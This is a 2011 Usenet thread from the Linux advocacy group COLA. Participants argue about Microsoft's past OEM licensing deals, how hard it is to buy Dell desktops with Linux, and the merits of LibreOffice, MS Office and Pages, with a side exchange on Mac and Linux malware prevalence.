>>> that, they lose all or most of their rebate on windows licenses.
>> 
>> I would *love* to see support for this.  Given how both Dell and HP and
>> others *have* tried it I find this very unlikely.  Yes, I know years ago MS
>> had some illegal deals and they were fined for it.  I am talking *now*.
>> 
> 
> MS didn't have "some illegal deals" - they had mostly illegal deals, but
> were only fined for a few.

Cite?  And relevance to the current situation?

> Manufacturers who tried to complain would quickly find themselves paying
> shelf-price for windows (or DOS - it goes that far back).  I'm sure you'd have
> no problem finding plenty of references to the "one license per cpu sold"
> deals, and can look up the history of how IBM could not afford to give away
> their own OS, OS/2, on their own PC's - because it would make the windows
> licenses too expensive on their other PC's.

What is the relevance to the current situation?

> MS was convicted of abuse of monopoly power, and fined - but the fines
> were so small (compared to MS profits) that made economic sense to break
> the laws and pay the fines.  And MS has always had good business sense.
>   To make sure they did not repeat their offences, they were ordered to
> monitor themselves - and even that order has now run its term.
> 
> I haven't bothered to keep track of this particular issue in recent
> times - but I've seen plenty of other shady business practices from
> them.  I'll assume that the leopard has not changed its spots.

Ah, the old no-evidence-so-let's-assume-the-worst concept.  Got it.

I would like to see current, relevant evidence before I jump to conclusions.

>>> You have to be /very/ big to negotiate terms with MS that give you good
>>> prices for your windows licenses while also selling Linux (or no OS)
>>> machines.
>>> 
>> Cite?
>> 
>>> So yes, you /can/ buy pre-built machines with Linux or no OS - but they are
>>> a lot harder to find, and they cost more than if they had windows
>>> pre-installed.
>>> 
>> But why blame MS for this?  I really would love to see your evidence.
>>
> I don't blame MS for this - at least, no more than to a small degree.
> There are lots of reasons behind this, as I have explained.
> 
> And even for the part MS plays, it is only fair to remember that they
> are just following the key commandment of capitalism - you must maximize
> the profit for your shareholders.

But why assume - without evidence - that the illegal deals of the past are
still happening?  I do not think anyone denies they *happened*, the
contention is in saying that they still exist even thought here is no
evidence and there is contrary evidence (OEMs selling Linux based systems).

>>>>> It varies quite a bit from country to country - but certainly you are
>>>>> going to get a much smaller selection, and pay higher prices.
>>>>> 
>>>> Sure... when is less demand for a product that is often the case.
>>>> 
>>> That's the main reason, of course.
>>> 
>> Right: not Microsoft.
> 
> Correct.
> 
> I dislike MS as a company, and I dislike their business practices (in
> case you hadn't guessed).  But I don't give them the blame for all the
> world's ills - at least not the /whole/ blame :-)

Fair enough.  

>>>>> (That's for desktops and laptops - any serious server supplier will offer
>>>>> you machines with Linux pre-installed, or no OS if you prefer.)
>>>>> 
>>>> You can configure a Dell "server" as you wish... but they used to also have
>>>> Linux desktops.
>>> 
>>> Well, sort of - Dell had a couple of desktop models that they sold with
>>> outdated versions of Ubuntu in a few countries.
>> 
>> Oh, they have a lot more than that: http://goo.gl/V1JBG and
> 
> That's servers...
> 
>> <http://goo.gl/1I2ET>
>> 
>> You can also get FreeDOS if you want.
> 
> Digging through the links takes you mostly back to main selection pages
> (leading to windows-only machines), outdated information pages, and some
> mentions of a couple of end-of-line products that had Linux.

Yeah... when their was more demand they had more on their site.  Sad to see
this has diminished so much.

>>> You had to actively search for them - you couldn't find them from sensible
>>> links from the home page.
>> 
>> And given how they are very much a specialty item, that is exactly what one
>> should expect!
> 
> It's okay to say that Dell doesn't sell Linux on desktops and laptops.
> But if you (or Dell, or anyone else) wants to claim that they /do/, then
> they it should be practical to find them.

They have... they do a lot less now.  I did give a list of companies that do
(or at least did fairly recently).

>>> The machines cost more than equivalent ones with Windows, and the pages were
>>> plastered with "Dell recommends Vista" adverts.  When you tried to configure
>>> the machines, they tried to sell you MS Office for it.
>> 
>> recommends *Vista*?  Um, no.
> 
> Past tense - I was referring to the brief time when Dell made a vague
> effort to sell Linux desktops, and had links that were practical to find.

At the time they were much easier to find.  Heck, Linux systems were in
Wal-Mart.  Hard to get easier to find than that.

>>> Servers are a different matter - there you can get them without an OS, or
>>> with RHEL or SUSe pre-installed.
>>> 
>> Right: where there is demand for other options they make them more visible.
>> Just as one would expect.
>> 
> Again, that's fair enough - Dell, like any serious server supplier, sells
> servers with Linux.  But their vague attempts at selling desktop Linux were a
> bad joke.

How much more should they have done?  And to whose benefit?

.... 
>>> I agree.  I find OpenOffice (well, LibreOffice these days) to be a
>>> better program than MS Office.  Opinions vary, of course, and we try to
>>> be flexible at my company.  But I would take LibreOffice over MS Office
>>> regardless of the price difference.
>> 
>> What do you like about it more?
> 
> The pdf export is, of course, a major feature.

Well, with CutePDF or the like, that exists on Windows, too.  And if you are
running MS Office on a Mac, *all* Mac programs have Print to PDF *and* PDF
Services (easy redirecting of the PDFs to other programs or destinations...
comes in real handy in many cases).

> But generally I've found it more stable, especially for larger documents, and
> I find it works better for structured documents.  To be fair, this is biased
> by personal use - I don't use MS Office much except to try to help others with
> problems.  But for some reason, the few MS Office users at the company have a
> great deal more problems than the majority who use OpenOffice.

I was helping someone the other day with LibreOffice and then showed them
Apple's Pages.  They stopped by this morning - and I asked them if they
could re-do some of the stuff we talked about in LibreOffice and in Pages
(granted, this is not MS Word, but I could compare that, too).

They agreed to let me record them and upload it:
<http://www.youtube.com/watch?v=ootjP-cFVO8>.

I find these types of things in OpenOffice / LibreOffice all the time (or
where complaints about MS Office are not true).  From some past experiences
(videos of me working):

  Indents / styles:
    <http://tmp.gallopinginsanity.com/OOIndents.mov>
    <http://tmp.gallopinginsanity.com/OOIndents2.mov>

  In response to complaints about how much space the ribbon takes:
    <http://tmp.gallopinginsanity.com/ribbon-space.mov>

On and on... there just are not many places where OO/LibrO shine as far as I
can tell.  If you can point me to some of those areas, though, I am happy to
look into them and report what I find.

.... 
>>> Again, I agree - while the cost (especially time) savings is a definite
>>> big advantage of Linux over Windows on servers, it is not the only
>>> reason it is a better choice for us.
>> 
>> I am very much an advocate of informed computing - use the tool that works
>> best for you (in your budget, of course).  Sometimes this means using open
>> source tools... sometimes it means using close source tools... and sometimes
>> it means using tools which are a hybrid.  That is very much what I do and
>> what I suggest for my clients.
> 
> I have the same attitude.  For operating systems, that currently means
> mostly Linux on servers, Windows on desktops (often preferring XP).  And
> for application software, it depends on the usage.

Fair enough.  And even two people with the same philosophy will come to
different conclusions as to what is "best".

For me I tend to use Linux on servers, esp. web servers (the main servers I
work with).  I tend to prefer OS X on the desktop, but that depends on what
is needed.  I have a client who needed a machine just to show a
PowerPoint-style slide show in an office.  I suggested Linux - they ended up
going with Windows, which also works fine for that.  I did move their office
to LibreOffice (from Word Perfect).  No, I do not think it is as good as MS
Office, but money was a concern and their needs were very minimal (really,
Word Pad would cover most of their needs).  They did need to run
Windows-only software so Windows is what they use.

I have set a few schools up with Mac and Ubuntu labs (Macs for the higher
end needs, Ubuntu for the lower end needs).  In the future I might opt for
Mint over Ubuntu.  Those same schools have Windows in some teacher's rooms
and in many of the admin offices.

I am certainly not a one-size-fits-all type of tech consultant.  :)

>> In other words: more choice than those who push *just* open source
>> solutions.  And for this, in COLA, I am deemed to be "anti-choice".  George
>> Orwell predicted COLA.  :)
> 
> The "happy middle" is not always happy...

Very true.  


-- 
🙈🙉🙊


0
usenet2 (47889)
9/6/2011 4:33:23 PM
On 06/09/11 18:33, Snit wrote:
> David Brown stated in post INadnamiOoYcp_vTnZ2dnUVZ8g6dnZ2d@lyse.net on
> 9/6/11 8:19 AM:
>>
>> I haven't bothered to keep track of this particular issue in recent
>> times - but I've seen plenty of other shady business practices from
>> them.  I'll assume that the leopard has not changed its spots.
>
> Ah, the old no-evidence-so-let's-assume-the-worst concept.  Got it.
>
> I would like to see current, relevant evidence before I jump to conclusions.
>
>
> But why assume - without evidence - that the illegal deals of the past are
> still happening?  I do not think anyone denies they *happened*, the
> contention is in saying that they still exist even thought here is no
> evidence and there is contrary evidence (OEMs selling Linux based systems).
>

As you say, there is little doubt that such illegal deals did happen. 
There is little doubt that MS have always considered it better for 
someone to use /their/ software without paying, than to use software 
from somewhere else.  There is also little doubt that MS continues to 
engage in behaviour that is at best ethically questionable, and at worst 
directly illegal.  Big examples involve their influence behind the SCO 
farce, and the OOXML "standardisation" - practically destroying the most 
important international standards organisation to protect their near 
monopoly.

The "windows tax" continues to exist - it is rare to find someone who 
has successfully got a refund for an unused Windows license.

Licensing deals between big OEMs and MS are all closed-doors deals.

All in all - no, I have no evidence to claim MS forces (or just 
encourages) OEMs into licensing deals that make it hard for them to 
offer non-Windows systems.  But I can see it would be /very/ easy for 
them to get away with such deals - all in the interests of saving the 
OEMs money, of course.  And I can see it would be in MS's interests to 
make such deals.  And I have seen no evidence of a change of heart in MS 
leadership suggesting they shy away from any tactics that help crush the 
competition.

Whether you agree with that or not is up to you.

>>>>>> It varies quite a bit from country to country - but certainly you are
>>>>>> going to get a much smaller selection, and pay higher prices.
>>>>>>
>>>>> Sure... when is less demand for a product that is often the case.
>>>>>
>>>> That's the main reason, of course.
>>>>
>>> Right: not Microsoft.
>>
>> Correct.
>>
>> I dislike MS as a company, and I dislike their business practices (in
>> case you hadn't guessed).  But I don't give them the blame for all the
>> world's ills - at least not the /whole/ blame :-)
>
> Fair enough.
>
>>>>>> (That's for desktops and laptops - any serious server supplier will offer
>>>>>> you machines with Linux pre-installed, or no OS if you prefer.)
>>>>>>
>>>>> You can configure a Dell "server" as you wish... but they used to also have
>>>>> Linux desktops.
>>>>
>>>> Well, sort of - Dell had a couple of desktop models that they sold with
>>>> outdated versions of Ubuntu in a few countries.
>>>
>>> Oh, they have a lot more than that: http://goo.gl/V1JBG and
>>
>> That's servers...
>>
>>> <http://goo.gl/1I2ET>
>>>
>>> You can also get FreeDOS if you want.
>>
>> Digging through the links takes you mostly back to main selection pages
>> (leading to windows-only machines), outdated information pages, and some
>> mentions of a couple of end-of-line products that had Linux.
>
> Yeah... when their was more demand they had more on their site.  Sad to see
> this has diminished so much.
>

To be honest, I expect that most people that were interested in looking 
at the site already had PC's running Linux.  At that time, Dell was not 
a particularly popular choice of OEM for home users - at least, not the 
more knowledgeable ones.  They had a bad reputation for customer support 
for small users in many countries.  And business users looking for 
professional Linux machines would be looking for different sorts of 
models - and an outdated version of Ubuntu is unlikely to be their first 
choice of distro.  So my guess is that Dell didn't sell many Linux systems.

It has always been the case that most Linux users are happy to install 
their own choice of distro themselves.  What they want is systems that 
the OEMs will sell without an OS, with a statement of the exact hardware 
and an indication of the support in modern Linux distros, and an 
assurance that the OEM will not consider installation of Linux as an 
evil act of vandalism that voids the warranty.  And they want that as a 
choice on standard models - not just the occasional outdated and 
underpowered system.

>>>> You had to actively search for them - you couldn't find them from sensible
>>>> links from the home page.
>>>
>>> And given how they are very much a specialty item, that is exactly what one
>>> should expect!
>>
>> It's okay to say that Dell doesn't sell Linux on desktops and laptops.
>> But if you (or Dell, or anyone else) wants to claim that they /do/, then
>> they it should be practical to find them.
>
> They have... they do a lot less now.  I did give a list of companies that do
> (or at least did fairly recently).
>

Unfortunately, these mostly either have a similar attitude to Dell 
(again, I am referring to desktops and laptops here, not servers), or 
they are small, specialist OEMs - most are only a good practical choice 
if you happen to live in a particular region of the USA where they are 
based.

>>>> The machines cost more than equivalent ones with Windows, and the pages were
>>>> plastered with "Dell recommends Vista" adverts.  When you tried to configure
>>>> the machines, they tried to sell you MS Office for it.
>>>
>>> recommends *Vista*?  Um, no.
>>
>> Past tense - I was referring to the brief time when Dell made a vague
>> effort to sell Linux desktops, and had links that were practical to find.
>
> At the time they were much easier to find.  Heck, Linux systems were in
> Wal-Mart.  Hard to get easier to find than that.
>

I didn't know that (I am not in the USA - we don't have Wal-Mart).  And 
I certainly didn't know Dell sold through supermarkets.

>>>> Servers are a different matter - there you can get them without an OS, or
>>>> with RHEL or SUSe pre-installed.
>>>>
>>> Right: where there is demand for other options they make them more visible.
>>> Just as one would expect.
>>>
>> Again, that's fair enough - Dell, like any serious server supplier, sells
>> servers with Linux.  But their vague attempts at selling desktop Linux were a
>> bad joke.
>
> How much more should they have done?  And to whose benefit?
>

Well, I'm not sure it made sense for them to try at all - I think their 
limited effort was perhaps worse than useless.  I would have preferred 
that they simply made "no OS" an option in their standard system 
configuration.

> ...
>>>> I agree.  I find OpenOffice (well, LibreOffice these days) to be a
>>>> better program than MS Office.  Opinions vary, of course, and we try to
>>>> be flexible at my company.  But I would take LibreOffice over MS Office
>>>> regardless of the price difference.
>>>
>>> What do you like about it more?
>>
>> The pdf export is, of course, a major feature.
>
> Well, with CutePDF or the like, that exists on Windows, too.  And if you are
> running MS Office on a Mac, *all* Mac programs have Print to PDF *and* PDF
> Services (easy redirecting of the PDFs to other programs or destinations...
> comes in real handy in many cases).
>

We use pdfcreator as standard on all Windows PC's for general pdf 
"printing".  But pdf export directly from OpenOffice is much better than 
just a printout - the pdf file is smaller and faster to use, tables of 
contents give you proper bookmarks, and links and cross-references all 
work.  For structured documents, you get a much more professional result.

>> But generally I've found it more stable, especially for larger documents, and
>> I find it works better for structured documents.  To be fair, this is biased
>> by personal use - I don't use MS Office much except to try to help others with
>> problems.  But for some reason, the few MS Office users at the company have a
>> great deal more problems than the majority who use OpenOffice.
>
> I was helping someone the other day with LibreOffice and then showed them
> Apple's Pages.  They stopped by this morning - and I asked them if they
> could re-do some of the stuff we talked about in LibreOffice and in Pages
> (granted, this is not MS Word, but I could compare that, too).
>
> They agreed to let me record them and upload it:
> <http://www.youtube.com/watch?v=ootjP-cFVO8>.
>

I don't have any experience with Pages, but I can give you a hint for 
OpenOffice - hold shift down when you resize, and it will keep the 
aspect ratio.  I'd agree that this is perhaps not intuitive, and that it 
should be the default behaviour, but it /does/ work.  And the "original 
size" button also works - but like the other sizes in the properties 
box, it is not real time - it doesn't take effect until you click OK.

> I find these types of things in OpenOffice / LibreOffice all the time (or
> where complaints about MS Office are not true).  From some past experiences
> (videos of me working):
>
>    Indents / styles:
>      <http://tmp.gallopinginsanity.com/OOIndents.mov>
>      <http://tmp.gallopinginsanity.com/OOIndents2.mov>
>
>    In response to complaints about how much space the ribbon takes:
>      <http://tmp.gallopinginsanity.com/ribbon-space.mov>
>
> On and on... there just are not many places where OO/LibrO shine as far as I
> can tell.  If you can point me to some of those areas, though, I am happy to
> look into them and report what I find.
>

Well, as I say it's a lot to do with taste and how you like to use the 
program.  To me, the idea of visually modifying margins by selecting 
bits of text and then creating styles out of them is working backwards - 
I set up my styles the way I want them, and use them consistently in a 
document.  If I want to change the appearance of a style, I'll modify 
the style - not manual modification of the document.  OpenOffice suits 
my way of working here.

(Actually, I prefer to write serious documents with LaTeX, but I have to 
make /some/ sacrifices for compatibility with other people.)

> ...
>>>> Again, I agree - while the cost (especially time) savings is a definite
>>>> big advantage of Linux over Windows on servers, it is not the only
>>>> reason it is a better choice for us.
>>>
>>> I am very much an advocate of informed computing - use the tool that works
>>> best for you (in your budget, of course).  Sometimes this means using open
>>> source tools... sometimes it means using close source tools... and sometimes
>>> it means using tools which are a hybrid.  That is very much what I do and
>>> what I suggest for my clients.
>>
>> I have the same attitude.  For operating systems, that currently means
>> mostly Linux on servers, Windows on desktops (often preferring XP).  And
>> for application software, it depends on the usage.
>
> Fair enough.  And even two people with the same philosophy will come to
> different conclusions as to what is "best".
>
> For me I tend to use Linux on servers, esp. web servers (the main servers I
> work with).  I tend to prefer OS X on the desktop, but that depends on what
> is needed.  I have a client who needed a machine just to show a
> PowerPoint-style slide show in an office.  I suggested Linux - they ended up
> going with Windows, which also works fine for that.  I did move their office
> to LibreOffice (from Word Perfect).  No, I do not think it is as good as MS
> Office, but money was a concern and their needs were very minimal (really,
> Word Pad would cover most of their needs).  They did need to run
> Windows-only software so Windows is what they use.
>
> I have set a few schools up with Mac and Ubuntu labs (Macs for the higher
> end needs, Ubuntu for the lower end needs).  In the future I might opt for
> Mint over Ubuntu.  Those same schools have Windows in some teacher's rooms
> and in many of the admin offices.
>
> I am certainly not a one-size-fits-all type of tech consultant.  :)
>
>>> In other words: more choice than those who push *just* open source
>>> solutions.  And for this, in COLA, I am deemed to be "anti-choice".  George
>>> Orwell predicted COLA.  :)
>>
>> The "happy middle" is not always happy...
>
> Very true.
>
>

0
9/6/2011 9:10:52 PM
On 2011-09-05, Big Steel <"The Steel11177ttta"@Steel11277ttta.com> wrote:
> On 9/5/2011 4:02 PM, FromTheRafters wrote:
>> Sneaky Weasel wrote:
>>> On 09/04/2011 08:12 PM, JEDIDIAH wrote:
>>>> On 2011-09-03, Big Steel<"The Steel11177ttta"@Steel11277ttta.com> wrote:
>>>>> On 9/2/2011 7:48 PM, Snit wrote:
>>>>>> Big Steel stated in post
>>>>>> Or6dnTbH6oSq9PzTnZ2dnUVZ_vSdnZ2d@earthlink.com on
>>>>>> 9/2/11 4:38 PM:
>>>>>>
>>>>>>> On 9/2/2011 7:31 PM, Snit wrote:
>>>>>>>> Dustin stated in post Xns9F54C3752FB4EHHI2948AJD832@no on 9/2/11
>>>>>>>> 4:06 PM:
>>>>>>>>
>>>>>>>>> JEDIDIAH<jedi@nomad.mishnet> wrote in
>>>>>>>>> news:slrnj5tf3h.stn.jedi@nomad.mishnet:
>>>>>>>>>
>>>>>>>>>> On 2011-08-31, Dustin<bughunter.dustin@gmail.com> wrote:
>>>>>>>>>>> Hadron<hadronquark@gmail.com> wrote in
>>>>>>>>>>> news:6tbov6vyoy.fsf@news.eternal-september.org:
>>>>>>>>>>>
>>>>>>>>>>>> WHile Linux CAN catch a virus its rare as its rarely
>>>>>>>>>>>> targetted by
>>>>>>>>>>>> the usual techniques since the "dumb" userbase is so small -
>>>>>>>>>>>> that
>>>>>>>>>>>> and reasonably secure interfaces to the outside world.
>>>>>>>>>>>
>>>>>>>>>>> Give it time. That dumb userbase is growing. The "friendlier"
>>>>>>>>>>> linux
>>>>>>>>>>> gets, the dumber the users you will have. This is what
>>>>>>>>>>> happened to
>>>>>>>>>>> windows, this is how linux will go too. I will laugh hysterically
>>>>>>>>>>> in the background. Not at anyone in particular, but at the
>>>>>>>>>>> computer
>>>>>>>>>>> industry as a whole.
>>>>>>>>>>
>>>>>>>>>> You can't get any dumber than the Mac userbase.
>>>>>>>>>
>>>>>>>>> Not true. I know all kinds of graphics artists who do the mac
>>>>>>>>> thing.
>>>>>>>>>
>>>>>>>>>> So where's all the malware?
>>>>>>>>>
>>>>>>>>> Mac isn't a windows market. Malware authors are about the money
>>>>>>>>> now. When
>>>>>>>>> mac has enough people to make it worthwhile, the malware authors
>>>>>>>>> will
>>>>>>>>> target it.
>>>>>>>>>
>>>>>>>> Hmmm, Macs have about 20% market share in the use and people pay
>>>>>>>> for them,
>>>>>>>> on average, about 2-3x as much. So people in the US are spending
>>>>>>>> about the
>>>>>>>> same for Macs as they are on Windows machines... which implies the
>>>>>>>> owners
>>>>>>>> might have about the same amount of money to be scammed out of. Or
>>>>>>>> at least
>>>>>>>> pretty close.
>>>>>>>>
>>>>>>>> The security by obscurity claim is proving to be largely false.
>>>>>>>
>>>>>>> LOL, I have to disagree here in the case of Linux at the desktop
>>>>>>> being
>>>>>>> used which is usually a sign that the user is broke and doesn't
>>>>>>> have any
>>>>>>> money. :)
>>>>>>
>>>>>> Sure: Linux users likely have less money - given that one of the
>>>>>> primary
>>>>>> reasons people use Linux is the lower initial cost.
>>>>>>
>>>>>>
>>>>>
>>>>> No bang for the buck with crooks and Linux at the desktop. So why
>>>>> bother? :)
>>>>
>>>> Why would that matter? Linux runs on hardware that usually has an OEM
>>>> Windows license associated with it. So the argument of "poverty" is
>>>> pretty
>>>> assinine actually.
>>>>>
>>>> It's WinDOS that is the cheap freebie. That perception has helped drive
>>>> it's adoption since the System 6 days.
>>>
>>> I run Mint because Windows sucks and Mint works perfectly.
>>
>> The best endorsement for Mint I've heard yet. I may have to try it.
>
>
> Myself,  the babble of a COLA lunatics like JEDIDIAH mean nothing. It's 
> the same old excuse, after excuse and after excuse.
>
> If one is broke one is using Linux. If one is on entitlement handouts, 
> one is using Linux. :)

>>>> It's WinDOS that is the cheap freebie. That perception has helped drive
>>>> it's adoption since the System 6 days.

    If you've got a PC running Linux, then you probably have a WinDOS license.

    The idea that people only run Linux "because it is cheap" is clearly absurd.
According to the likes of Hadron the Lemming, anything you can run on Linux can
be run on WinDOS. So there isn't even the "applications" aspect of the 
situation.

    Clearly those that run Linux just want something that "sucks less".

-- 
    ...of course if you are forced against your will to use Windows in    |||
the day time your bound to have a lot to vent about in the evening.      / | \
0
jedi (14754)
9/6/2011 9:30:46 PM
On 2011-09-06, the following emerged from the brain of David Brown:

8<

> It is far from easy to buy pre-build PC's either with Linux installed, 
> or at least without Windows.  It varies quite a bit from country to 
> country - but certainly you are going to get a much smaller selection, 
> and pay higher prices.  (That's for desktops and laptops - any serious 
> server supplier will offer you machines with Linux pre-installed, or no 
> OS if you prefer.)

We have been telling this over and over again, but the silly trolls
simply don't get it. For me, living in Belgium, it is *extremely* hard
to buy a brand PC or laptop without MS Windows pre-installed. As far
as I know there's just /one/ online shop offering them, that's it.

For that reason build my own desktop systems from discrete components,
and I do not buy laptops (I have one from work though, which came with
Windows 7 Ultimate, but atm I'm happily using Gentoo on it).

8<

> I don't use Linux on the desktop to save money - although one of the 
> reasons why I use open source software, even on Windows desktops, is for 
> the cost.

I know not a single person who is using GNU/Linux on the desktop to
save money. They are all using it because they are considering it the
better option.

Imo it's even silly to assume that cost is a deciding factor to run
GNU/Linux, as most machines come with Windows pre-installed anyway, so
the money's already spent. Take my laptop for example: it has Windows
installed, I can use it legally without a problem. But I don't. And
this is because I consider GNU/Linux the better OS. Nothing to do with
cost *at all*.

> For business use, it is not the zero cost of open source software in
> itself that saves money - it is the convenience of not having to
> think about licensing or purchasing.

Very true. Maintaining licenses is a huge pain and additional
administrative overhead. Nothing like that when you're mainly using
open source software. But also the maintenance of Windows and Windows
based services is - in my experience at least - much more work than
with F/OSS alternatives.

8<

> For server usage, the cost savings of Linux and open source software
> are substantial - in hardware costs, software costs, client access
> costs, and of course in the time saved setting up and maintaining
> the system.  Although my company uses Windows for most desktop
> usage, we have used Linux on servers for over a decade.

We used to be pretty much a MS Windows only shop, but since I started
working for the IT department most of our servers have been migrated
to GNU/Linux. Huge savings coming from that, for exactly the reasons
you note above.

-- 
We are the COLA herd. Existence as you know it is over. You will be
assimilated. Resistance is futile.
0
9/6/2011 10:01:39 PM
David Brown stated in post 15GdndbfWa_AEfvTnZ2dnUVZ8hadnZ2d@lyse.net on
9/6/11 2:10 PM:

> On 06/09/11 18:33, Snit wrote:
>> David Brown stated in post INadnamiOoYcp_vTnZ2dnUVZ8g6dnZ2d@lyse.net on
>> 9/6/11 8:19 AM:
>>> 
>>> I haven't bothered to keep track of this particular issue in recent
>>> times - but I've seen plenty of other shady business practices from
>>> them.  I'll assume that the leopard has not changed its spots.
>> 
>> Ah, the old no-evidence-so-let's-assume-the-worst concept.  Got it.
>> 
>> I would like to see current, relevant evidence before I jump to conclusions.
>> 
>> 
>> But why assume - without evidence - that the illegal deals of the past are
>> still happening?  I do not think anyone denies they *happened*, the
>> contention is in saying that they still exist even thought here is no
>> evidence and there is contrary evidence (OEMs selling Linux based systems).
> 
> As you say, there is little doubt that such illegal deals did happen.

Without getting too philosophical, I would be willing to say there is no
doubt.

> There is little doubt that MS have always considered it better for
> someone to use /their/ software without paying, than to use software
> from somewhere else.  There is also little doubt that MS continues to
> engage in behaviour that is at best ethically questionable, and at worst
> directly illegal.  Big examples involve their influence behind the SCO
> farce, and the OOXML "standardisation" - practically destroying the most
> important international standards organisation to protect their near
> monopoly.

I think the OOXML complaints have been overblown in COLA.  For example, look
at the Wikipedia page and see the list of complaints:
<http://en.wikipedia.org/wiki/Office_Open_XML>

> The "windows tax" continues to exist - it is rare to find someone who
> has successfully got a refund for an unused Windows license.

As long as you do not open the box, you can return most software just fine.
So it is not hard to get a refund on Windows.  Where people get bent out of
shape is when they buy a *system* and then want to return parts of the
system and have the company they bought it from set a price on that part.
Alone.  And often they want the full selling price of that part.  That is
just silly.

> Licensing deals between big OEMs and MS are all closed-doors deals.

As are the deals for most of the components of a computer.  How much does
Dell pay for memory?  How about for the drivers they include?

> All in all - no, I have no evidence to claim MS forces (or just
> encourages) OEMs into licensing deals that make it hard for them to
> offer non-Windows systems.

Ok: fair enough.  There is no evidence of the accusation.  This I can agree
with.

> But I can see it would be /very/ easy for them to get away with such deals -
> all in the interests of saving the OEMs money, of course.

Given the level of trouble they got into last time, and the bad publicity, I
would not blindly assume such.

> And I can see it would be in MS's interests to make such deals.  And I have
> seen no evidence of a change of heart in MS leadership suggesting they shy
> away from any tactics that help crush the competition.
> 
> Whether you agree with that or not is up to you.

I can see saying you would not doubt it.  I have no problem with that.  To
claim it as something that *is*, however, is wrong.  As you noted, you have
no evidence to back it up.

.... 
>>> Digging through the links takes you mostly back to main selection pages
>>> (leading to windows-only machines), outdated information pages, and some
>>> mentions of a couple of end-of-line products that had Linux.
>> 
>> Yeah... when their was more demand they had more on their site.  Sad to see
>> this has diminished so much.
> 
> To be honest, I expect that most people that were interested in looking
> at the site already had PC's running Linux.  At that time, Dell was not
> a particularly popular choice of OEM for home users - at least, not the
> more knowledgeable ones.

I believe at the time it was the #1 choice of OEMs.  It no longer is.

> They had a bad reputation for customer support for small users in many
> countries.  And business users looking for professional Linux machines would
> be looking for different sorts of models - and an outdated version of Ubuntu
> is unlikely to be their first choice of distro.  So my guess is that Dell
> didn't sell many Linux systems.

There is little demand for Linux on the desktop - and those who do want it
do not need it pre-bundled, by and large.  As such, when thinking in terms
of the quantity of computers Dell and HP sell, there is essentially *no*
demand for desktop Linux being pre-installed.  What minimal demand there is,
of course, is split between distros: so the only way to meet the demand is
to have multiple distros: Ubuntu and Mint and PCLOS and Debian and who knows
how many others.  Then you have to market each type and explain the
difference... and support them.

A mess.  A money-losing proposition.  Why would Dell or HP even consider
this?  The fact that they *have* is a good sign for desktop Linux - but it
would be rather surprising to see it work.  As even Shuttleworth has noted:

  Question:
    -----
    What do you see as the main obstacles holding back the
    success of the Linux desktop?
    -----
  Shuttleworth:
    -----
    I think we don't yet deliver a good enough user experience. I
    think we deliver a user experience for people that have a
    reason to want to be on the Linux platform, either because of
    price or because of freedom. If that was your primary reason,
    Linux is the right answer.
    
    But if you are somebody who is not too concerned about price,
    who is not too concerned about freedom, I don't think we can
    say the Linux desktop offers the very best experience. And
    that's something we have to change, that's something I'm
    committed to work on, focusing increasing amounts of
    resources of Canonical on figuring out on how we actually
    move the desktop experience forward to compete with Mac OS X.
    -----

And while I do not really like Unity, I think it is hard to argue that
Shuttleworth has not been working very hard to do that - things have gotten
a lot better on desktop Linux in general since he made those comments (to be
clear, not all because of him, in case it sounds that way!).

Recently Roy and I talked about PCLOS.  He made claims about current and
past versions and was pretty far off the mark.  But, to be fair, I had
underestimated the distance that PCLOS had come (I had not used the current
PCLOS distro, but it really is indicative of the ecosystem).

To show the facts about PCLOS (old and new) I gathered images and linked to
older ones. Roy and I were talking in terms of OS X (as was Shuttleworth) so
that is my comparison for the new version of PCLOS.  Here is the PDF:

<http://tmp.gallopinginsanity.com/PCLOS-OSX-comparison.pdf>

Now simply looking at those few tidbits of the user experience is, alone,
not that informative... but it is indicative of the level of detail
competitors to desktop Linux are giving their experiences.  Desktop Linux
must rise to that level and perhaps even beat it if it wants people to seek
it in large numbers.  The good news is if you look at the links to older
PCLOS at the bottom of the PDF you can see PCLOS has come a *long* way in a
relatively short period of time.  Night and day difference.  I was
pleasantly surprised and it re-invigorated my advocacy.  It is good to get
some eye-openers from time to time.  :)

> It has always been the case that most Linux users are happy to install their
> own choice of distro themselves.  What they want is systems that the OEMs will
> sell without an OS, with a statement of the exact hardware and an indication
> of the support in modern Linux distros, and an assurance that the OEM will not
> consider installation of Linux as an evil act of vandalism that voids the
> warranty.  

Can you find any OEM whose warranty is dependant on keeping Windows on the
system? They will not, of course, support software they do not sell... but
that makes sense.

> And they want that as a choice on standard models - not just the
> occasional outdated and underpowered system.

In order for desktop Linux to gain a real foothold it will have to earn it.
The OEMs do not owe it to the open source community to sell them systems at
a loss. 

>>>>> You had to actively search for them - you couldn't find them from sensible
>>>>> links from the home page.
>>>> 
>>>> And given how they are very much a specialty item, that is exactly what one
>>>> should expect!
>>> 
>>> It's okay to say that Dell doesn't sell Linux on desktops and laptops.
>>> But if you (or Dell, or anyone else) wants to claim that they /do/, then
>>> they it should be practical to find them.
>> 
>> They have... they do a lot less now.  I did give a list of companies that do
>> (or at least did fairly recently).
> 
> Unfortunately, these mostly either have a similar attitude to Dell
> (again, I am referring to desktops and laptops here, not servers), or
> they are small, specialist OEMs - most are only a good practical choice
> if you happen to live in a particular region of the USA where they are
> based.

I have not purchases a computer in a brick and mortar for years... at least
the last decade.  If you know what you want, ordering online is just fine.

Full disclaimer: that "last decade" means my last three computers... I have
one that is about a year old, one that is about four and another which is
eight or nine or so.  All still in use on a daily basis (the oldest might
get skipped on occasion, but pretty much daily - it is being used right
now).
 
>>>>> The machines cost more than equivalent ones with Windows, and the pages
>>>>> were plastered with "Dell recommends Vista" adverts.  When you tried to
>>>>> configure the machines, they tried to sell you MS Office for it.
>>>>> 
>>>> recommends *Vista*?  Um, no.
>>>> 
>>> Past tense - I was referring to the brief time when Dell made a vague effort
>>> to sell Linux desktops, and had links that were practical to find.
>>> 
>> At the time they were much easier to find.  Heck, Linux systems were in
>> Wal-Mart.  Hard to get easier to find than that.
> 
> I didn't know that (I am not in the USA - we don't have Wal-Mart).

There is a corner of the world they have not tried to take over?  Wow.  :)

[Sarcasm... they are *everywhere* in the US]

> And I certainly didn't know Dell sold through supermarkets.
> 
>>>>> Servers are a different matter - there you can get them without an OS, or
>>>>> with RHEL or SUSe pre-installed.
>>>>> 
>>>> Right: where there is demand for other options they make them more visible.
>>>> Just as one would expect.
>>>> 
>>> Again, that's fair enough - Dell, like any serious server supplier, sells
>>> servers with Linux.  But their vague attempts at selling desktop Linux were
>>> >>> a bad joke.
>>> 
>> How much more should they have done?  And to whose benefit?
> 
> Well, I'm not sure it made sense for them to try at all - I think their
